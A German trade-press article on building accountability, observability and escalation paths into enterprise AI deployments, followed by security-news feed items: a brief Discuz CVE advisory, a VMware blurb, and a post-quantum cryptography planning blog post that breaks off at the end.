<p class="wp-block-paragraph">Intelligente Systeme werden zunehmend <a href="https://www.computerwoche.de/article/4095272/so-nutzt-siemens-ki-in-der-produktion.html" target="_blank">produktiv eingesetzt</a>. Ist das der Fall, müssen viele Unternehmen schnell feststellen, dass das im Hinblick auf die Accountability Probleme aufwirft. Schließlich funktionieren KI-Tools nicht wie klassische Enterprise-Software: Ihre dynamische Interaktion mit Daten, APIs und Business-Workflows kann unvorhersehbare Ergebnisse hervorbringen.   </p>



<p class="wp-block-paragraph">Den Status Quo bei vielen Anwendern bringt <a href="https://www.linkedin.com/in/davidduchene/">David </a><a href="https://www.linkedin.com/in/davidduchene/" target="_blank" rel="noreferrer noopener">DuChene</a>, Manager beim KI-Dienstleister SHI International, auf den Punkt: „Wenn bei der KI etwas schiefgeht, wird die Verantwortung in der Regel demjenigen zugewiesen, der dem Problem am nächsten stand.“</p>



<p class="wp-block-paragraph">Und weil KI-Systeme im Rahmen von Workflows zunehmend nicht mehr die Rolle des Beraters, sondern die des Akteurs einnehmen, lässt sich Accountability nicht mehr allein über Richtlinien durchsetzen. Vielmehr ist es Aufgabe der IT-Führungskräfte, diese direkt in die Struktur ihrer Betriebsabläufe zu integrieren. Zum Beispiel in Form der folgenden fünf Maßnahmen.</p>



<h2 class="wp-block-heading">1. Verantwortlichkeiten klar definieren</h2>



<p class="wp-block-paragraph">Immer noch sind diverse KI-Anwenderunternehmen (insbesondere im Enterprise-Umfeld) davon überzeugt, dass KI-Accountability eine Aufgabe für die gesamte Belegschaft ist. Experten argumentieren allerdings, dass diese Annahme sich als falsch erweist, sobald die Systeme produktiv eingesetzt werden. Zum Beispiel <a href="https://www.linkedin.com/in/joseph-wilson-807a60104/" target="_blank" rel="noreferrer noopener">Joe Wilson</a>, SVP und CIO beim Softwareanbieter CSG: „Geteilte Accountability ist keine Accountability. Ein direkter Owner ist unabdingbar.“</p>



<p class="wp-block-paragraph">Laut dem Manager werde bei seinem Arbeitgeber auf diese Weise verfahren. Zudem durchliefen KI-Initiativen Governance Reviews, an denen auch die Geschäftsleitung beteiligt ist. Darüber hinaus setze CSG jedoch auch auf „CIO-Repräsentanten“, die in den Geschäftsbereichen und Produktgruppen eingebettet sind. Auf diese Weise will der Softwareanbieter laut seinem CIO sicherstellen, dass die Accountability den gesamten Lebenszyklus von KI-Initiativen abdeckt.</p>



<p class="wp-block-paragraph">Formalisierte Verantwortlichkeitsstrukturen wie diese fehlten jedoch bislang in den meisten Unternehmen, hält DuChene fest: „Auf dem Papier mag es zwar Verantwortliche geben, aber sobald ein System tatsächlich ausfällt, wird alles neu verhandelt.“</p>



<p class="wp-block-paragraph">Ob Organisationen in Sachen Accountability wirklich vorbereitet sind, lässt sich laut dem Manager anhand einer diagnostischen Frage klären: „Wenn Ihr KI-Deployment eine falsche Antwort <a href="https://www.computerwoche.de/article/3829267/so-bleibt-ihr-code-halluzinationsfrei.html" target="_blank">generiert</a>, die das Unternehmen Geld kostet, wer wird dann das Postmortem schreiben? Wenn Führungskräfte diese Frage nicht direkt beantworten können, existieren Accountability-Strukturen in der Praxis wahrscheinlich noch nicht.“</p>



<h2 class="wp-block-heading">2. Governance rechtzeitig einziehen</h2>



<p class="wp-block-paragraph">In den vergangenen Jahren haben viele Unternehmen KI-Systeme eingeführt – laut DuChene, bevor sie die dafür notwendigen Grundlagen in Bezug auf Governance und Operations geschaffen haben: „Das größte Problem, das wir regelmäßig beobachten, hängt mit der richtigen Reihenfolge der Maßnahmen zusammen. In vielen Fällen wurden jede Menge Häuser gebaut, deren Wände bereits standen, bevor das Fundament gegossen war.“</p>



<p class="wp-block-paragraph">Das führe im Nachgang zu kostspieligen Nachrüstungsmaßnahmen, meint der Manager: „Die Teams in diesen Unternehmen stellen dann häufig viel zu spät fest, dass wichtige Dinge wie Datenklassifizierungssysteme, <a href="https://www.computerwoche.de/article/4190978/so-spuren-sie-kompromittierte-ki-agenten-auf.html" target="_blank">KI-bezogene IAM-Kontrollen</a> oder Eskalationskanäle für Fehler nicht vorhanden sind.“  </p>



<p class="wp-block-paragraph">Laut <a href="https://www.linkedin.com/in/sdobrin/" target="_blank" rel="noreferrer noopener">Seth Dobrin</a>, CEO beim KI-Modellanbieter Arya Labs und ehemaliger Global AI Leader bei IBM, scheitert Governance oft daran, dass Unternehmen sie als reinen Policy-Layer betrachteten, anstatt sie direkt in operative Workflows zu integrieren. „Wenn man das nicht richtig hinbekommt, wird das Ganze auseinanderfallen“, konstatiert der KI-Experte. Er verweist auf das Beispiel eines Versicherungsunternehmens, das über 18 Monate ein intelligentes System aufgebaut hatte, bevor die Rechtsabteilung das Deployment lahmgelegt habe: „Das Problem war nicht die Technologie selbst, sondern, dass Governance in der Frühphase des Projekts keine Rolle gespielt hat. Am Ende musste das Unternehmen das Projekt dann verwerfen.“</p>



<p class="wp-block-paragraph">CSG-Manager Wilson argumentiert an dieser Stelle, dass Governance die Teams in Unternehmen dabei unterstützen sollte, Komplexität zu bewältigen, statt sie in ihrer Handlungsfähigkeit einzuschränken: „Governance ist eher ein Fahrwerkssystem als ein Bremsmechanismus. Die Dinge sollen schneller gehen, müssen aber auch funktionieren, wenn man in unwegsames Gelände gerät.“</p>



<p class="wp-block-paragraph">In diesem Zusammenhang kommt es auch auf die Daten an, warnt <a href="https://www.linkedin.com/in/qtaraki/" target="_blank" rel="noreferrer noopener">Quais Taraki</a>, CTO von EnterpriseDB. Viele Unternehmen würden regelmäßig unterschätzen, wie schwierig es ist, die Accountability aufrechtzuerhalten, sobald KI-Systeme mit fragmentierten Datenumgebungen im Enterprise-Umfeld interagierten: „Ein KI-Assistent, der beispielsweise Kundeninteraktionen zusammenfasst, könnte regulierte oder vertrauliche Daten aus Systemen abrufen, die dafür niemals vorgesehen waren.“</p>



<p class="wp-block-paragraph">Um Probleme wie diese gar nicht erst entstehen zu lassen, sind starke Data-Governance-Praktiken unabdingbar. Konkret:</p>



<ul class="wp-block-list">
<li>Lineage,</li>



<li>Provenance Tracking,</li>



<li>Klassifizierungssysteme und</li>



<li>Zugriffskontrollen.</li>
</ul>



<p class="wp-block-paragraph">Darüber hinaus schaffen diese Maßnahmen auch die Grundlage für Accountability, falls doch einmal etwa schiefgehen sollte. Denn sie ermöglichen es festzustellen, auf welche Daten ein KI-System zugegriffen hat, wie die Outputs generiert wurden – und auch, ob sensible Informationen dabei eine Entscheidung beeinflusst haben. „Ohne <a href="https://www.computerwoche.de/article/2804614/was-ist-data-lineage.html" target="_blank">Data Lineage</a> und Provenance sind keine Ursachenanalysen möglich – sprich, man weiß nicht, was zu ändern ist und hat keinen Einblick, wie sich die Dinge auf unerwartete Weise verändert haben“, hält Taraki fest.</p>



<p class="wp-block-paragraph">Der CTO plädiert dafür, Accountability an regulierten Datenprodukten auszurichten – statt an organisatorischen Silos: „Wenn die Ownership quer über Infrastruktur-, Data-Science- und Entwickler-Teams verteilt wird, kann es schwierig werden, nach einem Fehler zu klären, wer verantwortlich war. Klare Zuständigkeiten für die Datenprodukte, die die KI-Systeme versorgen, tragen dazu bei, die Rechenschaftspflicht über den gesamten KI-Lebenszyklus hinweg sicherzustellen.“</p>



<h2 class="wp-block-heading">3. Observability integrieren</h2>



<p class="wp-block-paragraph">Klassische Enterprise-Monitoring-Systeme wurden in erster Linie dafür entwickelt, um die Verfügbarkeit, den Infrastrukturzustand und die Applikationsleistung zu überwachen. Künstliche Intelligenz wirft jedoch neue Herausforderungen auf: Bei diesen Systemen müssen Reasoning-Pfade, Entscheidungsketten und Verhaltensabweichungen nachverfolgt werden.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/nikkale/" target="_blank" rel="noreferrer noopener">Nik Kale</a>, Mitglied der <a href="https://www.coalitionforsecureai.org/" target="_blank" rel="noreferrer noopener">Coalition for Secure AI</a> (CoSAI), empfiehlt dazu einen sogenannten „Investigation Graph“. Dieser könne Aufschluss darüber geben, was ein KI-System beobachtet, auf welche Tools es zugegriffen hat, zu welchen Schlussfolgerungen es gelangt ist und welche Aktionen es letztendlich ergriffen hat. „Wenn etwas nicht funktioniert, ist der erste Impuls immer die Frage danach, warum die KI diese Entscheidung getroffen hat. Man müsste aber eher danach fragen, wie das System tatsächlich agiert hat – schließlich handelt nicht das KI-Modell, sondern das System um es herum.“</p>



<p class="wp-block-paragraph">Diese breitere Accountability-Perspektive verändert auch die Wahrnehmung von <a href="https://www.computerwoche.de/article/4150608/wie-ki-agenten-observable-werden.html" target="_blank">Observability</a>: Anstatt KI-Modelle isoliert zu überwachen, brauchen Unternehmen zunehmend Transparenz über sämtliche Systeme, mit denen diese interagieren – einschließlich Datenquellen, APIs, Anwendungen, Sicherheitskontrollen und nachgelagerten Workflows. Für die Praxis heißt das, umfassend zu protokollieren – nämlich:</p>



<ul class="wp-block-list">
<li>Prompts,</li>



<li>Outputs,</li>



<li>Tool-Aufrufe,</li>



<li>Datenzugriffs-Events sowie</li>



<li>Agentenaktionen.</li>
</ul>



<p class="wp-block-paragraph">In Kombination mit herkömmlicher Anwendungs- und Infrastruktur-Telemetrie entstehen so auditierbare Protokolle darüber, wie sich KI-Systeme verhalten haben und warum Entscheidungen getroffen wurden.</p>



<p class="wp-block-paragraph">Diese Transparenz wird besonders wichtig, wenn IT-Verantwortliche es mit unbefugter KI-Nutzung zu tun bekommen. Während Governance-Richtlinien definieren, welche Tools Mitarbeiter <em>verwenden sollten</em>, hilft Observability dabei, aufzudecken, welche Tools sie tatsächlich nutzen. Indem die Observability über KI-Modelle hinaus auf die gesamte Unternehmensumgebung ausgeweitet wird, kann die IT <a href="https://www.computerwoche.de/article/4172297/warum-shadow-ai-trotz-governance-weiter-wachst.html" target="_blank">Schatten-KI</a> früher erkennen, schneller untersuchen und die dadurch entstehenden Accountability-Lücken schließen.</p>



<h2 class="wp-block-heading">4. Eskalationsmechanismen etablieren</h2>



<p class="wp-block-paragraph">Die wichtigste Accountability-Frage ist allerdings, wann ein KI-System innehalten und um Hilfe bitten sollte. Leider ist das in der Erfahrung von KI-Experte Kale ein Bereich, der bei den meisten KI-Implementierungen in Unternehmen eher wenig Beachtung finde. Der Manager argumentiert, dass Unternehmen explizite Eskalationspfade, menschliche Entscheidungspunkte und klar definierte Stoppmechanismen für KI-Systeme benötigten, die im Produktivbetrieb eingesetzt werden: „Ein ‚Abnicker‘ wäre hier fehl am Platz – Stichwort ‚<a href="https://www.computerwoche.de/article/4164993/best-practices-um-agentic-ai-systeme-aufzubauen.html" target="_blank">Human in the Loop</a>‘. Dieser Mensch sollte benannt sein und auch die Befugnis haben, die KI zu stoppen.“</p>



<p class="wp-block-paragraph">Geht es nach CIO Wilson, sind solche Notaus-Mechanismen auch mit Blick auf die Incident Response nötig: „Ein herkömmlicher IT-Vorfall ist typischerweise ein ‚Up‘- oder ‚Down‘-Szenario. KI-Ausfälle sind etwas subtiler: Modelle können im Zeitverlauf Drift entwickeln oder Workflows Ergebnisse liefern, die unerwartet sind, aber technisch nicht auffallen.“</p>



<p class="wp-block-paragraph">Daraus ergebe sich laut dem Manager ein wachsender Bedarf für interdisziplinäre Response-Prozesse, an denen Rechts-, Kommunikations-, Security-, Audit-, Business- und IT-Operation-Teams parallel beteiligt sind.</p>



<h2 class="wp-block-heading">5. KI wie Mitarbeiter behandeln</h2>



<p class="wp-block-paragraph">Traditionelle Software kann oft bereits zum Zeitpunkt ihrer Veröffentlichung geprüft und freigegeben werden, weil ihr Verhalten zwischen den Versionen relativ stabil bleibt. Das ist bei KI-Systemen anders: Modelle entwickeln sich weiter, Prompts ändern sich, Retrieval-Systeme werden aktualisiert, und auch die Informationen, die Agenten zur Verfügung stehen, verändern sich kontinuierlich. Dennoch betrachten nicht wenige Unternehmen KI nach wie vor wie herkömmliche Anwendungen. </p>



<p class="wp-block-paragraph">Kale ist jedoch der Auffassung, dass die Technologie sich weniger wie deterministische Software, sondern eher wie Mitarbeiter verhält: „Man kann KI nicht einfach einmal bereitstellen und es dann dabei belassen. Ähnlich wie bei der Belegschaft braucht es auch hier ein gewisses Maß an Oversight – etwa in Form von Performance-Reviews, Feedback-Runden oder um abweichendem Verhalten Einhalt zu gebieten.“</p>



<p class="wp-block-paragraph">Diese Herausforderung geht über intern entwickelte Systeme hinaus, wie der IT-Entscheider festhält: „Unternehmen müssen auch die KI-Services von Drittanbietern im Blick behalten, auf die sie sich verlassen. Denn diese aktualisieren Software und Funktionen möglicherweise hinter den Kulissen.“</p>



<p class="wp-block-paragraph">Um die Verantwortlichkeiten zwischen Anwenderunternehmen, Software- und Modellanbietern sowie Infrastrukturbetreibern zu klären, verweist Kale auf das „<a href="https://www.coalitionforsecureai.org/wp-content/uploads/2026/05/CoSAI-Shared-Responsibility-Framework.pdf" target="_blank" rel="noreferrer noopener">AI Shared Responsibility Framework</a>“ (PDF) der CoSAI. (fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist </strong><a href="https://www.computerworld.com/article/4184169/how-to-make-ai-accountability-stick.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
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<title><![CDATA[CVE-2026-49952 | Discuz X5.0 Database Backup API dbbak.php logging_more Username nonce re-use (ID 20260501 / EDB-52621)]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, has been found in Discuz X5.0. The affected element is the function logging_ctl::logging_more of the file dbbak.php of the component Database Backup API. This manipulation of the argument Username causes reusing a nonce.

This vulnerability appea...]]></description>
<link>https://tsecurity.de/de/3666635/sicherheitsluecken/cve-2026-49952-discuz-x50-database-backup-api-dbbakphp-loggingmore-username-nonce-re-use-id-20260501-edb-52621/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666635/sicherheitsluecken/cve-2026-49952-discuz-x50-database-backup-api-dbbakphp-loggingmore-username-nonce-re-use-id-20260501-edb-52621/</guid>
<pubDate>Tue, 14 Jul 2026 02:37:42 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, has been found in <a href="https://vuldb.com/product/discuz:x5">Discuz X5.0</a>. The affected element is the function <code>logging_ctl::logging_more</code> of the file <em>dbbak.php</em> of the component <em>Database Backup API</em>. This manipulation of the argument <em>Username</em> causes reusing a nonce.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-49952">CVE-2026-49952</a>. The attack may be initiated remotely. In addition, an exploit is available.

It is suggested to install a patch to address this issue.]]></content:encoded>
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<title><![CDATA[Securing Your Database Estate Against AI-Driven Threats with VMware Data Services Manager]]></title>
<description><![CDATA[The threat landscape for enterprise databases has rapidly evolved, with AI enabling sophisticated, automated cyberattacks that exploit inconsistencies in poorly managed systems. VMware Data Services Manager addresses these issues by enforcing consistency and security across database environments ...]]></description>
<link>https://tsecurity.de/de/3666542/downloads/securing-your-database-estate-against-ai-driven-threats-with-vmware-data-services-manager/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666542/downloads/securing-your-database-estate-against-ai-driven-threats-with-vmware-data-services-manager/</guid>
<pubDate>Tue, 14 Jul 2026 00:31:50 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="148" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Securing-your-Database-Estate.png?w=300" class="attachment-medium size-medium wp-post-image" alt="Securing your Database Estate" decoding="async" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Securing-your-Database-Estate.png 624w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Securing-your-Database-Estate.png?resize=300,148 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/Securing-your-Database-Estate.png?resize=600,296 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>The threat landscape for enterprise databases has rapidly evolved, with AI enabling sophisticated, automated cyberattacks that exploit inconsistencies in poorly managed systems. VMware Data Services Manager addresses these issues by enforcing consistency and security across database environments through automated lifecycle management, thereby mitigating risks posed by modern AI-driven exploits.</p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/13/securing-your-database-estate-against-ai-driven-threats-with-vmware-data-services-manager/">Securing Your Database Estate Against AI-Driven Threats with VMware Data Services Manager</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[IBM Quantum System One London: Why Every Organisation Should Be Preparing for Post-Quantum Cryptography (PQC)]]></title>
<description><![CDATA[Walking past IBM's offices on York Road, just a short walk from
  Waterloo Station, I spotted the
  IBM Quantum System One on public display. Like many people,
  I initially wondered whether it was simply a replica or a marketing exhibit.


The answer is no.


  This is a genuine IBM Quantum Syst...]]></description>
<link>https://tsecurity.de/de/3666536/it-security-nachrichten/ibm-quantum-system-one-london-why-every-organisation-should-be-preparing-for-post-quantum-cryptography-pqc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666536/it-security-nachrichten/ibm-quantum-system-one-london-why-every-organisation-should-be-preparing-for-post-quantum-cryptography-pqc/</guid>
<pubDate>Tue, 14 Jul 2026 00:22:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>
  Walking past IBM's offices on York Road, just a short walk from
  <strong>Waterloo Station</strong>, I spotted the
  <strong>IBM Quantum System One</strong> on public display. Like many people,
  I initially wondered whether it was simply a replica or a marketing exhibit.
</span></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGRBegdY3fpU0LCDA5yVg3odZBxwCoUlD1os4OZm5b6qOafR13c3KUZoK2Hvj1e13_o188IIQ48fVV7zRDhDy7wOh6KiqpnveJKqkGN31JLvNAvwLd6olmQPrbeqxt8Rzqkk_0wCK7nT2aE9_ppXR35ZuNmRuDuftg2RnqHZiXBDxst34FgwpSMVO3nikK/s2760/IMG_2059.jpeg"><span><img border="0" data-original-height="2760" data-original-width="2286" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGRBegdY3fpU0LCDA5yVg3odZBxwCoUlD1os4OZm5b6qOafR13c3KUZoK2Hvj1e13_o188IIQ48fVV7zRDhDy7wOh6KiqpnveJKqkGN31JLvNAvwLd6olmQPrbeqxt8Rzqkk_0wCK7nT2aE9_ppXR35ZuNmRuDuftg2RnqHZiXBDxst34FgwpSMVO3nikK/s320/IMG_2059.jpeg" width="265"></span></a></div>

<p><strong><span>The answer is no.</span></strong></p>

<p><span>
  This is a genuine <strong>IBM Quantum System One</strong>, housed within a
  sophisticated dilution refrigerator designed to keep its superconducting
  quantum processor at temperatures only a fraction of a degree above absolute
  zero.
</span></p>

<p><span>
  The striking gold structure that catches everyone's attention is not the
  quantum processor itself. The processor is tiny compared with the surrounding
  equipment and sits deep inside the system. Much of what you can see exists to
  cool, control and protect the processor from heat, vibration and electrical
  interference.
</span></p>

<p><span>
  It is a fascinating sight and well worth stopping to admire when passing
  through Waterloo.
</span></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuzBui9SJ7uuF09GV3NypX6x1zF0ee9rhp0qxB4I365QzzOq3SvKsLlw9kjtBhyphenhyphenhyWUSrx8SXV1MC2L7wosq8jrk1dN54d7FcusKgTNUy3nU3scdnvUhvtQZQwLFf5xIneCygghAs_OV2mFQKsgydHAarmLFOf_TqLttuTGkEiuZYD9lxOd2bf8YkOpa88/s5712/IMG_2072.jpeg"><img border="0" data-original-height="5712" data-original-width="4284" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuzBui9SJ7uuF09GV3NypX6x1zF0ee9rhp0qxB4I365QzzOq3SvKsLlw9kjtBhyphenhyphenhyWUSrx8SXV1MC2L7wosq8jrk1dN54d7FcusKgTNUy3nU3scdnvUhvtQZQwLFf5xIneCygghAs_OV2mFQKsgydHAarmLFOf_TqLttuTGkEiuZYD9lxOd2bf8YkOpa88/w480-h640/IMG_2072.jpeg" width="480"></a></div><p></p>

<h2><span>More Than a Display</span></h2>

<p><span>
  What many people do not realise is that IBM's quantum technology is not
  simply something to observe through glass.
</span></p>

<p><span>
  Through the
  <a href="https://quantum.ibm.com/" rel="noopener noreferrer" target="_blank">
    <strong>IBM Quantum Platform</strong></a>, researchers, developers, students and organisations can access IBM quantum
  computers remotely through the cloud.</span></p>

<p><span>
  IBM currently offers access to quantum processing units, or
  <strong>QPUs</strong>, alongside documentation, tutorials, learning resources
  and software tools. Its platform also provides a limited amount of free
  execution time, allowing users to experiment with real quantum hardware
  rather than relying only on simulators.
</span></p>

<p><span>
  Developers can create and execute quantum circuits using
  <a href="https://www.ibm.com/quantum/qiskit" target="_blank"><strong>Qiskit</strong>,</a> IBM's open-source software development kit for
  quantum computing.
</span></p>

<p><span>For developers, the basic installation begins with:</span></p>

<pre><code><span>pip install qiskit
pip install qiskit-ibm-runtime</span></code></pre>

<p><span>
  The IBM Quantum Platform includes resources covering quantum information
  science, optimisation, Hamiltonian simulation and machine learning. It also
  offers tools such as Composer, which allows users to construct and run
  quantum circuits visually.
</span></p>

<p><span>
  Quantum computing is no longer confined entirely to specialist laboratories.
  Developers and researchers can already gain practical experience with real
  quantum hardware.
</span></p>

<h2><span>Why Does a Quantum Computer Need to Be So Cold?</span></h2>

<p><span>
  IBM's systems use <strong>superconducting qubits</strong>, which are extremely
  sensitive to their surroundings.
</span></p>

<p><span>
  At ordinary temperatures, heat and electrical noise would disrupt the fragile
  quantum states needed for computation. The dilution refrigerator therefore
  cools the processor through several stages until it reaches temperatures
  close to absolute zero.
</span></p>

<p><span>
  This extremely controlled environment allows the qubits to retain their
  quantum properties long enough for calculations to be performed.
</span></p>

<p><span>It is an extraordinary feat of engineering.</span></p>

<h2><span>Will Quantum Computers Break Today's Encryption?</span></h2>

<p><span>This is the question cybersecurity professionals hear most often.</span></p>

<p><strong><span>Not today.</span></strong></p>

<p><span>
  Current quantum computers do not have the scale, reliability or fault
  tolerance required to break the public key cryptography used across banking,
  virtual private networks, digital certificates, software signing and secure
  communications.
</span></p>

<p><span>
  However, a sufficiently powerful and fault-tolerant quantum computer could
  theoretically use <strong><a href="https://quantum.cloud.ibm.com/docs/en/tutorials/shors-algorithm" target="_blank">Shor's algorithm</a></strong> to undermine widely used
  public key algorithms, including:
</span></p>

<ul>
  <li><span>RSA</span></li>
  <li><span>Elliptic Curve Cryptography, or ECC</span></li>
  <li><span>Diffie-Hellman key exchange</span></li>
  <li><span>Elliptic Curve Diffie-Hellman</span></li>
</ul>

<p><span>
  That does not mean organisations should panic. It does mean they should begin
  preparing before such capability exists.
</span></p>

<h2><span>Post-Quantum Cryptography Is Already Here</span></h2>

<p><span>
  The transition towards quantum-resistant cryptography is already under way.
</span></p>

<p><span>
  In August 2024, the
  <a href="https://www.nist.gov/pqc" rel="noopener noreferrer" target="_blank">
    <strong>U.S. National Institute of Standards and Technology</strong>
  </a>
  published its first three finalised Post-Quantum Cryptography standards.
</span></p>

<ul>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/203/final" rel="noopener noreferrer" target="_blank">
      <strong>FIPS 203: ML-KEM</strong>
    </a>
    for establishing shared secret keys.
  </span></li>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/204/final" rel="noopener noreferrer" target="_blank">
      <strong>FIPS 204: ML-DSA</strong>
    </a>
    for digital signatures.
  </span></li>
  <li>
    <span><a href="https://csrc.nist.gov/pubs/fips/205/final" rel="noopener noreferrer" target="_blank">
      <strong>FIPS 205: SLH-DSA</strong>
    </a>
    for stateless hash-based digital signatures.
  </span></li>
</ul>

<p><span>
  These standards give governments, technology providers and organisations a
  foundation for moving towards cryptographic methods designed to resist both
  conventional and quantum-enabled attacks.
</span></p>

<h2><span>The Risk Is Not Only in the Future</span></h2>

<p><span>
  One important concern is sometimes described as
  <strong>harvest now, decrypt later</strong>.
</span></p>

<p><span>
  An attacker may collect encrypted information today in the hope of decrypting
  it in the future, once more capable quantum technology becomes available.
</span></p>

<p><span>
  This matters most where information must remain confidential for many years,
  such as:
</span></p>

<ul>
  <li><span>Government and defence information</span></li>
  <li><span>Intellectual property and trade secrets</span></li>
  <li><span>Long-term commercial agreements</span></li>
  <li><span>Personal, medical or financial records</span></li>
  <li><span>Critical infrastructure designs</span></li>
  <li><span>Authentication and identity information</span></li>
</ul>

<p><span>
  The urgency of <b>Post-Quantum Cryptography (PQC) </b>planning should therefore be based
  not only on when a cryptographically relevant quantum computer may arrive,
  but also on how long an organisation's data must remain protected.
</span></p>

<h2><span>What Should Organisations Be Doing Today?</span></h2>

<p><span>
  For most organisations, the first challenge is not selecting a new algorithm.
  It is understanding where cryptography is already being used.
</span></p>

<p><span>
  Cryptographic dependencies may be embedded within applications, network
  protocols, certificates, hardware, cloud services, APIs, supplier products
  and legacy systems.
</span></p>

<p><span>
  You cannot migrate what you have not identified.
</span></p>

<h3><span>1. Build a cryptographic inventory</span></h3>

<p><span>
  Identify where encryption, digital signatures, certificates, key exchange
  mechanisms and cryptographic libraries are used.
</span></p>

<p><span>The inventory should cover:</span></p>

<ul>
  <li><span>Applications and databases</span></li>
  <li><span>Web services and APIs</span></li>
  <li><span>TLS certificates</span></li>
  <li><span>VPNs and remote-access technologies</span></li>
  <li><span>Identity and authentication platforms</span></li>
  <li><span>Code-signing and software-update processes</span></li>
  <li><span>Hardware security modules</span></li>
  <li><span>Cloud services</span></li>
  <li><span>Third-party and supplier solutions</span></li>
  <li><span>Operational technology and embedded devices</span></li>
</ul>

<h3><span>2. Identify quantum-vulnerable algorithms</span></h3>

<p><span>
  Determine where RSA, ECC, Diffie-Hellman and related public key algorithms
  are used.
</span></p>

<p><span>
  Do not assume that a certificate-management database alone provides a
  complete view. Cryptography may also be hard-coded into applications,
  libraries, firmware and external services.
</span></p>

<h3><span>3. Map cryptography to business services</span></h3>

<p><span>
  A technical inventory is useful, but it becomes more valuable when linked to
  critical business services.
</span></p>

<p><span>Organisations should understand:</span></p>

<ul>
  <li><span>Which important services depend on vulnerable cryptography</span></li>
  <li><span>What information those services protect</span></li>
  <li><span>How long that information must remain confidential</span></li>
  <li><span>What would happen if the cryptography could no longer be trusted</span></li>
  <li><span>Which suppliers or platforms must be upgraded first</span></li>
</ul>

<h3><span>4. Design for cryptographic agility</span></h3>

<p>
  <span><strong>Cryptographic agility</strong> is the ability to replace algorithms,
  protocols, certificates and keys without rebuilding an entire system.
</span></p>

<p><span>
  New systems should avoid unnecessary dependencies on a single algorithm or
  cryptographic implementation. Cryptographic choices should be configurable,
  documented and capable of being updated as standards and threats evolve.
</span></p>

<h3><span>5. Engage suppliers</span></h3>

<p><span>
  Organisations depend heavily on software vendors, cloud providers, network
  suppliers and managed service providers.
</span></p>

<p><span>Useful questions include:</span></p>

<ul>
  <li><span>Where does your product use RSA, ECC or Diffie-Hellman?</span></li>
  <li><span>Do you maintain a cryptographic bill of materials?</span></li>
  <li><span>What is your roadmap for supporting NIST PQC standards?</span></li>
  <li><span>Will customers need new hardware or software?</span></li>
  <li><span>Will hybrid classical and post-quantum modes be supported?</span></li>
  <li><span>How will certificates, keys and protocols be migrated?</span></li>
  <li><span>What testing has been completed for performance and interoperability?</span></li>
</ul>

<h3><span>6. Test before large-scale migration</span></h3>

<p><span>
  Post-quantum algorithms can have different key sizes, signature sizes,
  processing requirements and network implications.
</span></p>

<p><span>
  Organisations should test their effect on applications, protocols, devices
  and infrastructure before committing to widespread deployment.
</span></p>

<h3><span>7. Establish governance and ownership</span></h3>

<p><span>
  PQC migration is not solely a security engineering problem. It may require
  coordination across:
</span></p>

<ul>
  <li><span>Cybersecurity</span></li>
  <li><span>Enterprise architecture</span></li>
  <li><span>Infrastructure and cloud teams</span></li>
  <li><span>Application development</span></li>
  <li><span>Procurement</span></li>
  <li><span>Legal and privacy teams</span></li>
  <li><span>Risk and compliance</span></li>
  <li><span>Business service owners</span></li>
</ul>

<p><span>
  Clear ownership, funding, milestones and reporting will be essential for what
  is likely to become a multi-year transformation programme.
</span></p>

<h2><span>A Practical Post-Quantum Cryptography Roadmap</span></h2>

<p><span>A proportionate roadmap could follow four stages.</span></p>

<h3><span>Discover</span></h3>

<ul>
  <li><span>Build the cryptographic inventory</span></li>
  <li><span>Identify vulnerable algorithms</span></li>
  <li><span>Map dependencies to critical services</span></li>
  <li><span>Assess long-term confidentiality requirements</span></li>
</ul>

<h3><span>Prioritise</span></h3>

<ul>
  <li><span>Rank systems by business criticality and data sensitivity</span></li>
  <li><span>Identify difficult-to-replace legacy technology</span></li>
  <li><span>Assess supplier readiness</span></li>
  <li><span>Determine where harvest-now-decrypt-later risk is greatest</span></li>
</ul>

<h3><span>Prepare</span></h3>

<ul>
  <li><span>Introduce cryptographic agility requirements</span></li>
  <li><span>Update procurement and architecture standards</span></li>
  <li><span>Establish governance and ownership</span></li>
  <li><span>Begin laboratory testing and controlled pilots</span></li>
</ul>

<h3><span>Migrate and validate</span></h3>

<ul>
  <li><span>Deploy approved algorithms using a risk-based sequence</span></li>
  <li><span>Validate interoperability and performance</span></li>
  <li><span>Retire vulnerable cryptographic dependencies</span></li>
  <li><span>Collect evidence that migration has been completed successfully</span></li>
</ul>

<h2><span>Final Thoughts</span></h2>

<p><span>
  Standing in front of IBM Quantum System One was a fascinating reminder that
  the future often arrives quietly.
</span></p>

<p><span>
  Today's immediate cybersecurity priorities remain ransomware, identity
  compromise, supply chain risk, exposed services and weak security controls.
  Quantum computing does not replace those priorities.
</span></p>

<p><span>
  However, responsible security leadership also means recognising risks that
